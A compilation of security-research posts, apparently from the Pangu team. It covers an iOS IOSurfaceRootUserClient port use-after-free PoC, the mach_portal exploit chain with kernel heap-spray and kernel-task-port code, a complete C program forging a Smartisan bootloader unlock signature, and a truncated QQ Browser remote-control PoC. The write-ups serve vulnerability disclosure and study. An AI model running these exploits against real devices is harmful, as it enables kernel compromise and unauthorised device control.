IOSurfaceRootUserClient Port UAF

漏洞描述

苹果前天发布了iOS 11.2版本(安全更新细节尚未公布),经测试发现此次更新修复了一个沙盒内可以直接利用的内核漏洞。我们团队在去年发现该漏洞,并一直在内部的研究环境中使用该漏洞对手机进行越狱。漏洞存在于IOSurfaceRootUserClient类的调用方法中,可以导致port的UAF。首先我们给出该漏洞触发的POC:

// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);

// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234;  // keep refcon the same value
for (int i=0; i<3; i++)
{
    IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}
IOServiceClose(connect);

通过POC代码可以看到漏洞存在于17号调用函数,定位后对其进行逆向分析。该函数会将传入的port、callback、refcon等数据保存起来,以供需要向用户态发送消息时使用。传入的数据大小是0x18,前两个64位数据分别是callback地址和refcon的值。值得注意的是在保存数据前会首先检查相同的refcon是否已经存在,如果存在则认为已经添加过了,会调用releaseAsyncReference64函数释放reference,从而调用iokit_release_port_send释放我们传入的port,并且返回0xE00002C9号错误。

  if ( !a3->asyncReference )
    return 0xE00002C2LL;
  input = (__int64)a3->structureInput;
  reference = (__int64)a3->asyncReference;
  v6 = *(_QWORD *)(a1 + 224);
  v7 = 0xE00002BDLL;
  IORecursiveLockLock_53(*(_QWORD *)(v6 + 264));
  v8 = *(_QWORD *)(v6 + 344);
  if ( v8 )
  {
    // 检查相同refcon的数据是否已经存在
    while ( *(_QWORD *)(v8 + 32) != *(_QWORD *)(input + 8) || *(_QWORD *)(v8 + 88) != a1 )
    {
      v8 = *(_QWORD *)v8;
      if ( !v8 )
        goto LABEL_8;
    }
    IOUserClient::releaseAsyncReference64(reference);
    v7 = 0xE00002C9LL;
  }
  else
  {
    // 分配内存并通过setAsyncReference64初始化,保存port/callback/refcon
LABEL_8:
    v9 = IOMalloc_53(96LL);
    v10 = v9;
    if ( v9 )
    {
      v11 = v6 + 344;
      memset_53((void *)v9, 0, 0x60uLL);
      IOUserClient::setAsyncReference64(v10 + 16, *(_QWORD *)reference, *(_QWORD *)input, *(_QWORD *)(input + 8));
      *(_QWORD *)(v10 + 88) = a1;
      *(_QWORD *)(v10 + 80) = *(_QWORD *)(input + 16);
      v12 = *(_QWORD *)(v6 + 344);
      *(_QWORD *)v10 = *(_QWORD *)(v6 + 344);
      if ( v12 )
        *(_QWORD *)(v12 + 8) = v10;
      else
        *(_QWORD *)(v6 + 352) = v10;
      v7 = 0LL;
      *(_QWORD *)v11 = v10;
      *(_QWORD *)(v10 + 8) = v11;
    }
  }
  IORecursiveLockUnlock_53(*(_QWORD *)(v6 + 264));
  return v7;
}

如果只是单纯分析该函数的行为,并不存在明显的问题,因此需要结合整个代码路径来看。我们知道IOKit是MIG的子系统,因此用户态最终封装一个message后通过mach_msg发送给内核处理并接受返回消息。而通过mach_msg传输一个port,需要发送complex的消息,内核则在copyin消息的时候会把port name翻译成对应的port地址,并增加一个引用。随后把消息交给ipc_kobject_server处理,观察ipc_kobject_server函数的分发处理:

 /*
   * Find the routine to call, and call it
   * to perform the kernel function
   */
  ipc_kmsg_trace_send(request, option);
  {
    ...

    // 调用真正的处理函数,返回结果设置在reply消息内
    (*ptr->routine)(request->ikm_header, reply->ikm_header);

    ...
  }

  // 如果返回的是简单消息,kr被设置为处理函数的返回值
  if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
     ((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS)
    kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode;
  else
    kr = KERN_SUCCESS;

  if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
    /*
     *  The server function is responsible for the contents
     *  of the message.  The reply port right is moved
     *  to the reply message, and we have deallocated
     *  the destination port right, so we just need
     *  to free the kmsg.
     */
    // 如果返回成功则简单释放传入消息的内存
    ipc_kmsg_free(request);

  } else {
    /*
     *  The message contents of the request are intact.
     *  Destroy everthing except the reply port right,
     *  which is needed in the reply message.
     */
    // 如果返回错误,则释放传入消息相关的数据(包含port)
    request->ikm_header->msgh_local_port = MACH_PORT_NULL;
    ipc_kmsg_destroy(request);
  }

可以看到如果UserClient的处理函数返回错误,那么上层会调用ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body最终释放传入的port和ool内存。此时我们再看IOSurfaceRootUserClient的17号调用,当它返回错误的时候,认为应该由自己去释放这个port而没有考虑到上层的清理代码,导致这个port会被额外释放一次。

利用思路

这是一个典型的port UAF类型的漏洞。我们可以任意创建一个port,通过17号调用释放该port,同时保留用户态的port name指向已经被释放的port地址。典型的利用思路是通过cross zone attack来填充一个虚假的port:

  • 用ool ports来填充,我们可以读取一个port的的真实地址,导致堆地址泄露
  • 用fake clock port来填充,可以猜测内核的基地址
  • 用fake task port来填充,可以实现任意内核读取
  • 用真实的kernel task port来填充,可以直接获取内核port,实现任意内核读写

Mitigations

  • iOS 10.3以后增加了对kernel task port的保护,不过该保护仅仅比较port指向的task是否等于kernel_task,并未对里面的内容进行校验
  • iOS 11以后移除了mach_zone_force_gc的接口来阻止cross zone attack,需要有别的途径能够触发gc

Fix

iOS 11.2中检测到要注册的refcon已经存在后也不会调用releaseAsyncReference64去释放port了。

最后想说*****这次又是被谁撞了 TT

盘古实验室报告三个华为手机安全漏洞获华为致谢

2017年6月15日,华为发布安全预警,公布涉及华为手机的权限控制漏洞,CVE-2017-8216

2017年8月7日,华为再次发布安全预警,公布涉及华为手机的两个漏洞,CVE-2017-8214CVE-2017-8215

盘古实验室安全研究员闻观行独立发现了以上三个漏洞,在第一时间上报给华为,并获得华为的致谢。

CVE-2017-8216

部分华为手机存在一个权限控制安全漏洞。由于对特定进程授权不当,已经获取手机安卓系统root权限的攻击者利用该漏洞可以获取部分用户信息。

CVE-2017-8214

部分华为手机存在一个绕过解锁码校验的安全漏洞。在手机中获得root权限的攻击者可以利用该漏洞绕过解锁码校验,解锁手机bootloader。

CVE-2017-8215

部分华为手机存在一个权限控制安全漏洞。在手机中获得system权限的攻击者可以利用该漏洞绕过解锁码校验,解锁手机bootloader。

参考链接

http://www.huawei.com/cn/psirt/security-advisories/huawei-sa-20170614-01-smartphone-cn

http://www.huawei.com/cn/psirt/security-advisories/huawei-sa-20170807-01-smartphone-cn

盘古实验室报告两个Android安全漏洞获Google致谢

2017年7月5号,Google发布Android安全公告,修复了会影响 Android 设备的安全漏洞。

盘古实验室的安全研究员Ao Wang获得了2个致谢:CVE-2017-0691CVE-2017-0700

CVE-2017-0691

该漏洞为拒绝服务漏洞,影响Android媒体框架,涉及Android 7.1.1, 7.1.2两个版本。

CVE-2017-0700

该漏洞为远程代码执行漏洞,影响Android系统界面,涉及Android 7.1.1,7.1.2两个版本。

参考链接

https://source.android.com/security/bulletin/2017-07-01

利用漏洞解锁锤子T1/2手机的bootloader

关于bootloader锁

Smartisan是手机中为数不多倾心于工业设计和用户体验的。老罗跨界过猛,也难免导致其最初的想法和现实存在差距。bootloader到底锁还是不锁,甚至曾被一个T1用户弄上法庭来质问。

当然,能从认为加锁是对系统的不自信,到后来发现解锁是安全隐患,绝对是个进步(loser口中的打脸)。技术层面来说,究竟T系列手机的bootloader能不能解锁呢?答案是,能。或者说,本来不能,但由于bootloader里存在的两个漏洞,恰好可解。

分析bootloader

正像Smartisan OS本身,其ROM目录结构也是极简的。firmware-update目录下emmc_appsboot.mbn就是bootloader镜像。由于是ELF格式,不需要更多的处理,就能逆向出不错的代码结构。无论是T1还是T2,bootloader的代码差不多,下面的分析选择的是T2的2.6版的ROM。

和很多高通芯片的手机一样,T2的bootloader是基于高通开源的lk。所以参考源码,可以很快梳理出bootloader的执行流程。启动后,根据按键组合,决定是否进入recovery,如果继续留在bootloader模式,就会注册一系列fastboot command,循环等待用户输入,决定下一步动向,如图1。

显然,control_flag为0的话,cmd_table中只有前四条命令被注册,后续命令就都无法使用了。通过观察cmd_table(如图2),可以发现那些真正令人激动的函数(比如oem unlock)都在比较靠后的位置上。

在搞清楚control_flag这个全局标记到底何去何从之前,不如先探探这仅存四条命令的究竟。reboot,reboot-bootloader命令正像他们的名字一样无趣,flash看起来就很有故事了。

执行flash命令时,如果control_flag为0,那就只能写一个名为security的分区。而control_flag为1时,所有其他分区就都可以写了,如图3所示:

联想之前fastboot command注册的过程,control_flag为0时,绝大部分功能无效,且分区不可写,control_flag应该就是is_allow_unlock,即bootloader是否上锁的标记。系统启动时,is_allow_unlock默认置0。当flash了security分区后,is_allow_unlock会有一次赋值操作,并且一旦赋值为1,就会提示解锁成功,如图4所示:

分析到这里基本可以肯定,T2提供了解锁功能,关键是写入security分区的内容是否能够经得住考验。

解锁bootloader

verify_security()函数比较复杂,涉及很多密码学算法的演绎。好在它使用的是openssl的标准库函数,识别起来有章可循。security分区内容采用的是RSA+MD5签名校验。合理的猜测是,官方本来设计的解锁流程其他厂商类似,即用户提交手机的序列号等信息,然后通过unlock时输入厂商给的解锁码(根据序列号计算出来的签名信息),实现解锁。只不过这一次解锁码是通过写入security分区实现输入。

security[128](security分区第128字节)是RSA初始化函数选择的依据,security[129]作为序列号长度。然后factory[5](factory分区的第5字节)起始的序列号作为MD5的计算依据,得到的hash值和security[0-127]签名信息验证的结果做比,相同返回1,否则返回0。这几乎是每个签名验证的都在用的标准化流程,采用的算法成熟,且由openssl实现(难怪发布会几百万门票钱捐给了openssl),基本不会有瑕疵。由于bootloader只存放了公钥e,没有私钥d,手机用户自己是没办法构造出128字节的签名信息的。

不过,由于代码上一些不大不小的问题,我们恰好可以绕过这些限制,构造出和序列号无关的通用解锁码。首先在RSA初始化时,如图5和6,当security[128]为66和67以外的数值时,初始化函数被选择为sub_F924A90。

跟进sub_F924A90后,可以看见图6所示的密钥填充,BN_bin2bn是openssl的库函数,用于将内存中存放的Big-Endian字符数组转化为Bignum类型,方便RSA的内部计算。私钥d填写的是伪数值,但p和q都填写的是真值。侧面说明写这段代码的人不太了解RSA,毕竟其安全性完全依赖于大数分解的NP难,而现在n的两个素数因子p和q都给了,虽然本意是加快计算速度,但私钥d也就因而可以从公钥e推出来了,d=e-1mod (p-1)(q-1),这就导致了第一个逻辑漏洞,用于伪造签名。

接下来,如图7,完成了RSA的初始化以后,会接着从factory分区读取数据:

究竟从factory分区读取多少字节是可控的,由security[129]决定。读取出来正常应该是一串字母开头后接一串数字的序列号,MD5后得到一串16字节的hash。最后利用RSA的公钥验证security[0-127]的128字节签名是否属于hash。

由于security[129]完全可控,就导致了第二个逻辑漏洞。如果该数指定为0,则MD5是针对一个空字符串进行计算的,计算结果总是d41d8cd98f00b204e9800998ecf8427e。所以无论是哪台手机,factory分区内容如何,签名验证将总是针对常量进行。只要构造该常量的签名写入security分区,就能够完成解锁。

为了减少padding,encoding等一系列开发可能造成的不确定性,在生成解锁码时,同样采用openssl的代码实现,示例如下:

#include <stdio.h>

#include <string.h>

#include <openssl/md5.h>

#include <openssl/crypto.h>

#include <openssl/rsa.h>

unsigned char m3_n[128] = {\

0xA4,0x0C, 0x69, 0x70, 0x25, 0x4F, 0x36, 0x49, 0x8E,\

0x83,0x4B, 0x74, 0x9A, 0x75, 0xC9, 0xF4, 0x7F, 0xE5,\

0x62,0xA8, 0xDE, 0x11, 0x13, 0x03, 0x57, 0x89, 0x31,\

0xCB,0x58, 0x84, 0xC8, 0x26, 0xBA, 0x2B, 0x60, 0xB5,\

0xB8, 0xA5, 0xD9, 0xBD, 0x27, 0x48, 0x3D,0x33, 0x38,\

0xA1,0x72, 0x62, 0x64, 0x87, 0x5E, 0x71, 0xF4, 0x1F,\

0xCB,0x68, 0x83, 0x92, 0xEA, 0x4B, 0xFF, 0x06, 0x38,\

0xAF,0xD5, 0x65, 0x55, 0x94, 0x04, 0x91, 0x88, 0xF7,\

0xA4,0x57, 0x72, 0x29, 0xFE, 0xEA, 0xB1, 0x27, 0x25,\

0xC1,0x12, 0x7D, 0x16, 0x6F, 0x13, 0xAF, 0xE2, 0x00,\

0x8D,0x5E, 0xA4, 0x0A, 0xB6, 0xF3, 0x71, 0x97, 0xC0,\

0xB0,0x60, 0xF5, 0x7C, 0x7F, 0xAA, 0xC4, 0x64, 0x20,\

0x3F,0x52, 0x0A, 0xA3, 0xC3, 0xEF, 0x18, 0xB6, 0x45,\

0x7D,0x72, 0x1E, 0xE2, 0x61, 0x0C, 0xD0, 0xD9, 0x1D,\

0xD0,0x5B\

};

unsigned char m3_e[1] = {3};

unsigned char m3_d[128] = {\

0x6d,0x5d,0x9b,0xa0,0x18,0xdf,0x79,0x86,0x5f,0x02,0x32,0x4d,0xbc,0x4e,0x86,0xa2,\

0xff,0xee,0x41,0xc5,0xe9,0x60,0xb7,0x57,0x8f,0xb0,0xcb,0xdc,0xe5,0xad,0xda,0xc4,\

0x7c,0x1c,0xeb,0x23,0xd0,0x6e,0x91,0x28,0xc4,0xda,0xd3,0x77,0x7b,0x16,0x4c,0x41,\

0x98,0x5a,0x3e,0xf6,0xa2,0xbf,0xdc,0xf0,0x57,0xb7,0x46,0xdd,0x54,0xae,0xd0,0x74,\

0x27,0xaa,0xad,0xf9,0xb9,0x33,0x8f,0x29,0x3b,0xf2,0xee,0x97,0x03,0x0b,0x5c,0xfc,\

0x92,0x95,0x6f,0x05,0xcd,0xbf,0x1c,0x77,0x16,0xce,0xd9,0x13,0xfb,0xf2,0x8f,0x74,\

0x09,0xca,0x78,0xf0,0xc7,0x4a,0xc2,0xc5,0xed,0x58,0xc1,0xfa,0xa1,0x6f,0x64,0x26,\

0x73,0x75,0x73,0x97,0x21,0xb4,0x01,0x13,0xad,0xd7,0xd5,0xbc,0x22,0x75,0x00,0xcb,\

};

int main(int argc, char*argv[]) {

MD5_CTX md5ctx;

unsigned chardigest[MD5_DIGEST_LENGTH];

unsigned charsigret[128];

unsigned int siglen;

unsigned chartestdata;

MD5_Init(&md5ctx);

MD5_Update(&md5ctx, &testdata, 0);

MD5_Final(digest, &md5ctx);

RSA *rsa =RSA_new();

rsa->n =BN_bin2bn(m3_n, 128, rsa->n);

rsa->e =BN_bin2bn(m3_e, 1, rsa->e);

rsa->d =BN_bin2bn(m3_d, 128, rsa->d);

RSA_sign(4,digest, 16, sigret, &siglen, rsa);

FILE *fp =fopen(“security.img”,”wb”);

fwrite(sigret, siglen, 1, fp);

fwrite(“\x40\x00”, 2, 1, fp);

fclose(fp);

return 0;

}

刷入security.img后,手机就可以解锁了。虽然上述分析是基于T2的ROM,T1也完全适用。如图8所示,T1刷入security.img同样可以解锁。

And Then Some

2014年老罗在微博上提过关于bootloader方面的打算,“官方会提供 boot loader,方便你刷机,只是刷机后会失保”,所以初代ROM里的确如我们所见保留了解锁bootloader的功能。2016年有人因为提供解锁而状告Smartisan,老罗胜诉后说道“我在微博上说过做bootloader,但技术部门因安全考虑否决了,我代表我自己道歉。”,所以肯定是取消了该功能。尽管官方从来没有发布过任何解锁的方法,底层代码倒是可以清晰反映出这段经历。

对于T1和T2,2.6.7是最后一个可以解锁的ROM版本号,2.6.8开始,fastboot command列表被改写为图10所示内容,大部分指令被阉:

所以如果要解锁3.x的Smartisan OS,可以下载2.6.7的ROM完成降级,毕竟旧版本的ROM同样带有签名,使用recovery时允许刷入手机。更新到旧版的bootloader后,再用fastboot flash security security.img进行解锁。解锁后,每次升级用第三方无签名验证的recovery,更新除bootloader以外的模块即可。这样即便最新系统暂时没有公开的内核漏洞,也能root。

一般的Android手机,只要有签名认证的老版本bootloader里有漏洞,在系统没有开启限制(比如SW_ID)时,总可以通过降级,解锁,然后升级回新系统,刷入supersu的方式root。

mach portal漏洞利用的一些细节

前不久GP0的研究员Ian Beer公布了针对iOS 10.1.1的漏洞细节及利用代码,通过结合三个漏洞获取设备的root shell。之后意大利研究员@qwertyoruiopz在此基础上加入绕过KPP保护的漏洞利用并发布了完整的iOS10越狱

Ian Beer已经对漏洞的成因和利用做了相关描述,这里将不再阐述,而是介绍一些利用的细节以及可能的改进建议。

整个exploit chain包含了三个漏洞:

  • CVE-2016-7637 用于替换了launchd进程中往com.apple.iohideventsystem发消息的port
  • CVE-2016-7661 造成powerd崩溃重启,从而在接管com.apple.iohideventsystem后获取powerd的task port,进而获取host_priv
  • CVE-2016-7644 导致内核port的UAF,进一步获取kernel_task

替换launchd中的port

内核中的ipc_object对象对应到用户态下是一个name(int类型),每个进程的ipc_space_t中保存了name与object之间的映射关系。相关代码可以在ipc_entry.c中查看,ipc_entry_lookup函数将返回name对应的ipc_entry_t结构,其中保存了对应的object。name的高24位是table中的索引,而低8位是generation number(初始值是-1,增加步长是4,因此一共有64个值)

#define    MACH_PORT_INDEX(name)       ((name) >> 8)
#define    MACH_PORT_GEN(name)     (((name) & 0xff) << 24)
#define    MACH_PORT_MAKE(index, gen)  \
        (((index) << 8) | (gen) >> 24)

被释放的name会被标记到freelist的起始位置,当再创建的时候会有相同的索引号,但是generation number会增加4,因此当被重复释放和分配64次后会返回给用户态完全相同的name,从而可以完成劫持。

#define    IE_BITS_GEN_MASK    0xff000000  /* 8 bits for generation */
#define    IE_BITS_GEN(bits)   ((bits) & IE_BITS_GEN_MASK)
#define    IE_BITS_GEN_ONE     0x04000000  /* low bit of generation */
#define IE_BITS_NEW_GEN(old)   (((old) + IE_BITS_GEN_ONE) & IE_BITS_GEN_MASK)

简单的测试代码

    for (int i=0; i<65; i++)
    {
        mach_port_t port = 0;
        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
        printf("port index:0x%x gen:0x%x\n", (port >> 8), (port & 0xff));
        mach_port_destroy(mach_task_self(), port);
    }

在实际利用漏洞的时候,需要在launchd的进程空间内重用name,因此可以发送一个launchd接受的id的消息,就能完成一次分配和释放(send_looper函数)。为了避免name释放后被抢占,首先调用了一次send_looper将要占用的name移动到freelist的末端相对安全的位置,进而再次调用62次来递增generation number,最后一次通过注册服务抢占name,完成了中间人劫持。

    // send one smaller looper message to push the free'd name down the free list:
    send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);

    // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
    for (int i = 0; i < 62; i++) {
        send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
    }

    // now that the name should have looped round (and still be near the middle of the freelist
    // try to replace it by registering a lot of new services
    for (int i = 0; i < n_ports; i++) {
        kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
        if (err != KERN_SUCCESS) {
            printf("failed to register service %d, continuing anyway...\n", i);
        }
    }

使powerd崩溃

powerd在接收到MACH_NOTIFY_DEAD_NAME消息后没有检查发送者及port,就直接调用mach_port_deallocate去释放。利用代码中将被释放的port设置为0x103,该port应该是本进程的task port,一旦被释放后任何的内存分配处理都会直接出错。代码如下

    mach_port_t service_port = lookup("com.apple.PowerManagement.control");

    // free task_self in powerd
    for (int j = 0; j < 2; j++) {
        spoof(service_port, 0x103);
    }

    // call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
    // and deref an invalid pointer

    vm_address_t buffer = 0;
    vm_size_t size = 0;
    int return_code;

    io_ps_copy_powersources_info(service_port,
                                 0,
                                 &buffer,
                                 (mach_msg_type_number_t *) &size,
                                 &return_code);

在测试过程中发现有的设备的mach_task_self()返回的并不是0x103,因此可以增加循环处理的代码来加强利用的适应性。

    // free task_self in powerd
    for (int port = 0x103; port < 0x1003; port += 4) {
        for (int j = 0; j < 2; j++) {
            spoof(service_port, port);
        }
    }

内核堆跨Zone攻击

CVE-2016-7644可以通过race造成内核port对象的UAF,因此第一步需要在port对象被释放后重新去填充。由于所有的port都被分配在特殊的”ipc ports”的zone里,无法使用常见的分配kalloc zone的方式来直接填充内存。因此利用代码首先分配大量port然后释放,再调用mach_zone_force_gc将这些页面释放掉,此后可以在通过kalloc zone里spray内存来占用。

port对象的大小是0xA8(64位),其中ip_context成员(0x90偏移)可以通过用户态API读写的,Ian Beer选择了一种比较巧妙的方式来填充port对象。

首先需要了解mach msg中对MACH_MSG_OOL_PORTS_DESCRIPTOR的处理,内核收到复杂消息后发现是port descriptor后会交给ipc_kmsg_copyin_ool_ports_descriptor函数读入所有的port对象。该函数会调用kalloc分配需要的内存(64位下分配的内存是输入的2倍,name长度是4字节),然后将有效的port由name转换成真实对象地址保存,对于输入是0的name任然会填充0。

    /* calculate length of data in bytes, rounding up */
    ports_length = count * sizeof(mach_port_t);
    names_length = count * sizeof(mach_port_name_t);

    ...

    data = kalloc(ports_length);

    ...

#ifdef __LP64__
    mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
    mach_port_name_t *names = ((mach_port_name_t *)data);
#endif

    if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) {
        ...
    }

    objects = (ipc_object_t *) data;
    dsc->address = data;

    for ( i = 0; i < count; i++) {
        mach_port_name_t name = names[i];
        ipc_object_t object;

        if (!MACH_PORT_VALID(name)) {
            objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
            continue;
        }

        kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);

        ...

        objects[i] = object;
    }

如果我们将输入ool port数据的恰当位置的name设置为之前获取的host_priv,那么在内核处理后,host_priv对应的内核object地址会被保存在UAF的port的ip_context成员位置,从而在用户态就可以读取到HOST_PRIV_PORT这个port的真实地址。用于填充内存的代码在send_ool_ports函数,每个descriptor会分配一个kalloc.4096(0x200*8),一个消息会在内核分配1000个4KB的页面。

  size_t n_ports = 0x200;
    mach_port_t* ports = calloc(sizeof(mach_port_t), n_ports);
    uint32_t obj_offset = 0x90;
    for (int i = 0; i < n_ports_in_zone; i++) {
        uint32_t index = (obj_offset & 0xfff) / 8;
        ports[index] = to_send;
        obj_offset += 0xa8;
    }

    // build a message with those ool ports:
    struct ool_multi_msg* leak_msg = malloc(sizeof(struct ool_multi_msg));
    memset(leak_msg, 0, sizeof(struct ool_msg));

    leak_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    leak_msg->hdr.msgh_size = sizeof(struct ool_msg);
    leak_msg->hdr.msgh_remote_port = q;
    leak_msg->hdr.msgh_local_port = MACH_PORT_NULL;
    leak_msg->hdr.msgh_id = 0x41414141;

    leak_msg->body.msgh_descriptor_count = 1000;

    for (int i = 0; i < 1000; i++) {
        leak_msg->ool_ports[i].address = ports;
        leak_msg->ool_ports[i].count = n_ports;
        leak_msg->ool_ports[i].deallocate = 0;
        leak_msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        leak_msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        leak_msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

成功填充被释放的port后,即可以读取context的值。

    // get the target page reused by the ool port pointers
    for (int i = 0; i < n_ool_port_qs; i++) {
        ool_port_qs[i] = send_ool_ports(host_priv);
    }

    uint64_t context = 123;
    mach_port_get_context(mach_task_self(), middle_ports[0], &context);
    printf("read context value: 0x%llx\n", context);

获取kernel task port

HOST_PRIV_PORT这个port是在系统初始化函数kernel_bootstrap里的调用ipc_init创建的,而kernel task port在之后的task_init中创建,因此很大概率这两个port对象在比较接近的内存位置。

void
kernel_bootstrap(void)
{
    ...

    kernel_bootstrap_log("ipc_init");
    ipc_init();

    kernel_bootstrap_log("PMAP_ACTIVATE_KERNEL");
    PMAP_ACTIVATE_KERNEL(master_cpu);

    kernel_bootstrap_log("mapping_free_prime");
    mapping_free_prime();                       /* Load up with temporary mapping blocks */

    kernel_bootstrap_log("machine_init");
    machine_init();

    kernel_bootstrap_log("clock_init");
    clock_init();

    ledger_init();

    kernel_bootstrap_log("task_init");
    task_init();

    ...
}

上文提到kernel接收MACH_MSG_OOL_PORTS_DESCRIPTOR时候的copyin处理,同样在把消息还给用户态时有copyout的处理,会将真实的port对象地址转换成name还给用户态。可以将UAF的port的context设置成HOST_PRIV_PORT地址附近的port地址,用户态获取name后通过pid_for_task检查是否成功获取kernel task的port。receive_ool_ports函数接收之前发送填充的消息,并检查返回值找到可能的kernel task port。

    struct ool_multi_msg_rcv msg = {0};
    err = mach_msg(&msg.hdr,
                   MACH_RCV_MSG,
                   0,
                   sizeof(struct ool_multi_msg_rcv),
                   q,
                   0,
                   0);
    if (err != KERN_SUCCESS) {
        printf("failed to receive ool ports msg (%s)\n", mach_error_string(err));
        exit(EXIT_FAILURE);
    }

    mach_port_t interesting_port = MACH_PORT_NULL;
    mach_port_t kernel_task_port = MACH_PORT_NULL;

    for (int i = 0; i < 1000; i++) {
        mach_msg_ool_ports_descriptor_t* ool_desc = &msg.ool_ports[i];
        mach_port_t* ool_ports = (mach_port_t*)ool_desc->address;
        for (size_t j = 0; j < ool_desc->count; j++) {
            mach_port_t port = ool_ports[j];
            if (port == expected) {
                ;
            } else if (port != MACH_PORT_NULL) {
                interesting_port = port;
                printf("found an interesting port 0x%x\n", port);
                if (kernel_task_port == MACH_PORT_NULL &&
                    is_port_kernel_task_port(interesting_port, valid_kernel_pointer))
                {
                    kernel_task_port = interesting_port;
                }
            }
        }
        mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)ool_desc->address, ((ool_desc->count*4)+0xfff)&~0xfff);
    }

利用代码中准备了0x20个UAF的port,然后从HOST_PRIV_PORT地址所在的zone的页面的中间部分开始猜测。

    for (int i = 0; i < n_middle_ports; i++) {
        // guess the middle slots in the zone block:
        mach_port_set_context(mach_task_self(), middle_ports[i], pages_base+(0xa8 * ((n_ports_in_zone/2) - (n_middle_ports/2) + i)));
    }

    mach_port_t kernel_task_port = MACH_PORT_NULL;
    for (int i = 0; i < n_ool_port_qs; i++) {
        mach_port_t new_port = receive_ool_ports(ool_port_qs[i], host_priv, pages_base);
        if (new_port != MACH_PORT_NULL) {
            kernel_task_port = new_port;
        }
    }

增加准备的UAF的port的数量(最多可增加至port的zone的页面的容量)可以提高命中率。此外上述代码的一处改进是在接收消息前再分配一些port,由于HOST_PRIV_PORT所在的zone的页面可能存在被释放了的port地址,在copyout时候会导致panic,因此填补这些空洞可以提高稳定性。

设备差异性

iOS的内核堆是由zone来管理的,具体代码可以在zalloc.c中查看。每个zone对应的页面大小计算在zinit函数中,其中ZONE_MAX_ALLOC_SIZE固定为0x8000。

    if (alloc == 0)
        alloc = PAGE_SIZE;

    alloc = round_page(alloc);
    max   = round_page(max);

    vm_size_t best_alloc = PAGE_SIZE;
    vm_size_t alloc_size;
    for (alloc_size = (2 * PAGE_SIZE); alloc_size <= ZONE_MAX_ALLOC_SIZE; alloc_size += PAGE_SIZE) {
        if (ZONE_ALLOC_FRAG_PERCENT(alloc_size, size) < ZONE_ALLOC_FRAG_PERCENT(best_alloc, size)) {
            best_alloc = alloc_size;
        }
    }
    alloc = best_alloc;

值得注意的是PAGE_SIZE在iOS下可能是0x1000或0x4000,通过观察PAGE_SHIFT_CONST的初始化可以知道当RAM大于1GB(0x40000000)的时候PAGE_SIZE=0x4000,否则PAGE_SIZE=0x1000

  if ( v139 )
  {
    v14 = 14;
    if ( *(_QWORD *)(a1 + 24) <= 0x40000000uLL )
      v15 = 12;
    else
      v15 = 14;
  }
  else
  {
    if ( (unsigned int)sub_FFFFFFF0074F2BE4("-use_hwpagesize", &v142, 4, 0) )
      v15 = 12;
    else
      v15 = 14;
    v14 = v15;
  }
  PAGE_SHIFT_CONST = v15;

iPhone 6s及之后的设备内存都是2GB,对应内核中的最小页面单位是16KB。根据zinit中的计算,ipc ports zone的页面大小是0x3000(6s之前的设备)或者0x4000(6s及之后的设备)。因此要猜测完整个页面的port需要0x49或者0x61个UAF的port。利用代码中的platform_detection也可以修改如下

void platform_detection() {
    uint32_t hwmem = 0;
    size_t hwmem_size = 4;
    sysctlbyname("hw.memsize", &hwmem, &hwmem_size, NULL, 0);
    printf("hw memory is 0x%x bytes\n", hwmem);
    if (hwmem > 0x40000000)
        n_ports_in_zone = 0x4000/0xa8;
    else
        n_ports_in_zone = 0x3000/0xa8;
}

盘古团队在2016 Black Hat Europe黑帽大会演讲

盘古团队在11月4日举办的Black Hat Europe 2016会议上分享了”USE-AFTER-USE-AFTER-FREE: EXPLOIT UAF BY GENERATING YOUR OWN”的议题,议题主要介绍了Flash中现有的缓解措施们和一种在现有缓解措施下仍然可用的 use-after-free 的利用方法。

会议相关PPT下载:Black Hat Slide下载

QQ浏览器(Wormable Browser) 漏洞报告

漏洞说明

安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。

漏洞详情

发现过程:
通过Janus平台搜索发现,QQ浏览器会在本地开启服务。

应用在获取到连接时会在handle方法进行处理。


通过bind命令,可以通过连接验证。然后利用其他命令,如downloadandinstall进行远程控制。

漏洞证明

1、远程获取已安装应用列表。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-  

import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *

payload = ""

x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"

def encode_(s):
